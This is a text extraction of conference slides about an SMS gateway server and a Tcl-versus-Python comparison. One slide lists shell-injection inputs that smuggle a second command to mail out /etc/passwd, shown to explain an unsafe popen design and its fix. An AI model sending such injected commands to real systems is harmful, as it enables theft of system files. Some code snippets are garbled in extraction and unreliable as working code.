The SMS Server
or why I switched from Tcl to Python

Frank Stajano

http://www.orl.co.uk/~fms/
http://www.cl.cam.ac.uk/~fms27/
Motivation

Serving the mobile computer user

$\text{salivation-inducing}$

Notebook

Quaderno

Libretto

Pilot

Palmtop

functionality

portability

The ORL alternative:

Don’t carry equipment: use someone else’s and personalise it.

BUT: What if no computers nearby?
Regular human being

no gadgets, but cellphone is carried spontaneously!

Use existing facilities

⇓

GSM’s SMS
SMS server usage examples

AB WHO AHJ
AB AWAY AH IN ITALY TODAY
RAIL CAMBRIDGE LONDON
SH ORCL
CUR 800 FRF ITL
ROAD M11
MAIL LARRY@ORACLE.COM HI THERE
WF EDINBURGH
H

…and their push versions
SMS server architecture

- SMS receive
- SMS send
- Authorise
- Dispatch
- www.stockmaster.com
- HTTP GET
- HTML page
- spawn
- stdout
- shares handler
- email gw, CORBA, ...
- smssend
- cron
- web form

PULL

SH ORCL

reply

web form

PUSH
The ServerApp abstraction

Single thread waits for events in a `select()` loop

File descriptors modelled by `Readable` with `onIncomingData()` callback

20-line example of serial ↔ socket

- OpenDataSocket
  - `user-defined`
- OpenFile
  - `user-defined`
- OpenListenerSocket
  - `user-defined`
- NewSerialLine
  - `user-defined`
- NewListenerSocket
  - `user-defined`

ServerApp

TimerServerApp
Simple URL manipulation

...and train timetable, weather forecast, etc etc

CGI (thanks IPWP!)
Object-oriented websucking

Without OO:

No common improvements

No common fixes!

Typical: grab someone else’s working source and tweak it until it does what you want.

This is evil.

Big maintenance mess

Typical: grab someone else’s working source and tweak it until it does what you want.

This is evil.
More wonders...

From a nice café...

Search today’s TV listings

Schedule recording of your show from anywhere

Easier than setting the VCR! (maybe — certainly cooler…)

Back-end system records TV to MPG
The limit is your imagination!

In-car 486 with GPS and SMS

Sends geographical coordinates to Active Badge system

Fetches traffic info, stock quotes

7KHOLPLWLV\RXULPDJLQDWLRQ
### Spawning, quoting and security

Handler: external program. Takes user parameters on command line, returns result on stdout.

- **CUR 800 FRF ITL**

  - First word selects which handler: `cur → currency.py`
  - Remaining words are passed to the handler as arguments: `currency.py 800 FRF ITL`

  ```python
def fullCommand = string.join([command] + argList)
def handle = os.popen(fullCommand, "r")
def result = handle.read()
```

The executable we run can only be one of the approved ones, so we’re ok.

(Ha Ha!)
Ha ha!

cur 800 frf it; mail x@y.com < /etc/passwd
cur 800 frf it & mail x@y.com < /etc/passwd
cur `mail x@y.com < /etc/passwd`

Commonly recommended fix
(Garfinkel-Spafford 546 etc):
• avoid spawning
• or at least avoid passing user strings
• or at least avoid passing `$|;>*<&

Nannyish advice, but prudent
“because people are
generally incompetent at quoting”

Same problems for CGI

Overzealous
mutilation: chars may
be legitimate.
To fix this...

Quoting acrobatics are fun, but morally wrong.

Who said we wanted sh anyway?
(forced flattening and in-band signalling)

handle = os.popen(fullCommand, "r")

Only satisfactory solution:

a spawning function taking a list of arguments, not a string that will be reparsed by sh!

Alternatives to os.popen():
• os.system()
• os.execv() & friends
Still no good.

We really want the api of os.execv() with the semantics of os.popen()

...so GvR fixed popen2() to accept a list argument!
Practical proof: new maintainers happy!

Both ways

Encourages readable, modular, maintainable code

Rapid Application Development

But why Python in the first place?

Jan 1997

Initial idea

Spec; first handlers
Fixing PCMCIA, OS, cables etc

Working system

Core server programming

User docs, logging, access control, more handlers etc

Dec 1997

Handed over code

Python success

Rapid Application Development

Encourages readable, modular, maintainable code

Practical proof: new maintainers happy!
Every good craftsman loves his tools

scripting is liberating

s = "hello"
s = s + "world"

Found Python by accident, tried it by curiosity

sort()

regular expressions

so I’m biased too
# Comparing Tcl and Python

<table>
<thead>
<tr>
<th>Tcl / [incr Tcl]</th>
<th>Python</th>
</tr>
</thead>
<tbody>
<tr>
<td>Functionally equivalent</td>
<td>More syntax, but “what you expect”</td>
</tr>
<tr>
<td>Elegantly cleaner (à la LISP)</td>
<td>...e.g. lists &amp; tuples, os.* vs posix.*</td>
</tr>
<tr>
<td>Coherent design, easy to learn and internalise, despite little quirks...</td>
<td>...e.g. eval / upvar / uplevel</td>
</tr>
<tr>
<td>...e.g. eval / upvar / uplevel</td>
<td>Lists, dictionaries, sort(), regexps</td>
</tr>
<tr>
<td>Lists, dictionaries, sort(), regexps</td>
<td></td>
</tr>
<tr>
<td>Tcl: no classes!</td>
<td>Classes, but no visibility mods and objects can grow new features!</td>
</tr>
<tr>
<td>[incr Tcl]: fully featured, C++ style</td>
<td></td>
</tr>
<tr>
<td></td>
<td>BUT objects everywhere, including library</td>
</tr>
<tr>
<td></td>
<td>lack of static checks</td>
</tr>
<tr>
<td></td>
<td>BUT separate “lint” just released</td>
</tr>
</tbody>
</table>

Punch line?
Python is great because it comes with batteries included!

Fact: script programmers hate having to recompile the interpreter to run an extension

- Will it clash with other extensions I have?
- Will it still work with the new version of the interpreter? Or will it prevent upgrades?
- Will it compile at all with my C compiler? (...if I have one?)

Get the best from each other!

For Python: static checker (see if Tcl’s is any good), .exe writer, improved object model, a better first book (both tut & ref)...

orl
Write `tcl.py` such that

$ python tcl.py > python.tcl
$ tclsh python.tcl > tcl.py

with `tcl.py` identical to the old one

---

Post Scriptum: a hacker’s offering

To warm up: basic self gen

More warming up: mutual gen in the same language
Surely you can do much better than this...

**tcl.py:**

```python
sqs=' '+sQs=' [format %c 39] '+sds=' '+sDs=' [format %c 34] '+d=' '+q=' ';
import string
r=string.replace
tclnu='''set pythonu {sqs}'+sQs=' [format %c 39] '+sds=' '+sDs=' [format %c 34] "+d=' '+q=' ';
set pythonn {import string
r=string.replace
tclnu='''set pythonu {U}
set pythonn {N}'''

print tclnu''';print tclnu
tclb='set pythonb {tclb}='set pythonb {B}; puts $pythonu; regsub -all [format %c 39] $pythonn [format %c 34] ndouble; regsub U $ndouble $pythonu nn; regsub N $nn $pythonn n; puts $n; regsub -all [format %c 39] $pythonb [format %c 34] bb; regsub B $pythonb $bb b; puts $b";print r(r(r(tclb,sqs,sQs),sds,sDs),d,q)}; puts $pythonu; regsub -all [format %c 39] $pythonn [format %c 34] ndouble; regsub U $ndouble $pythonu nn; regsub N $nn $pythonn n; puts $n; regsub -all [format %c 39] $pythonb [format %c 34] bb; regsub B $pythonb $bb b; puts $b';print r(r(tclb,sqs,sQs),sds,sDs),d,q)
```

Solutions gradually revealed at
http://www.cl.cam.ac.uk/~fms27/selfgen/

Enjoy the conquest!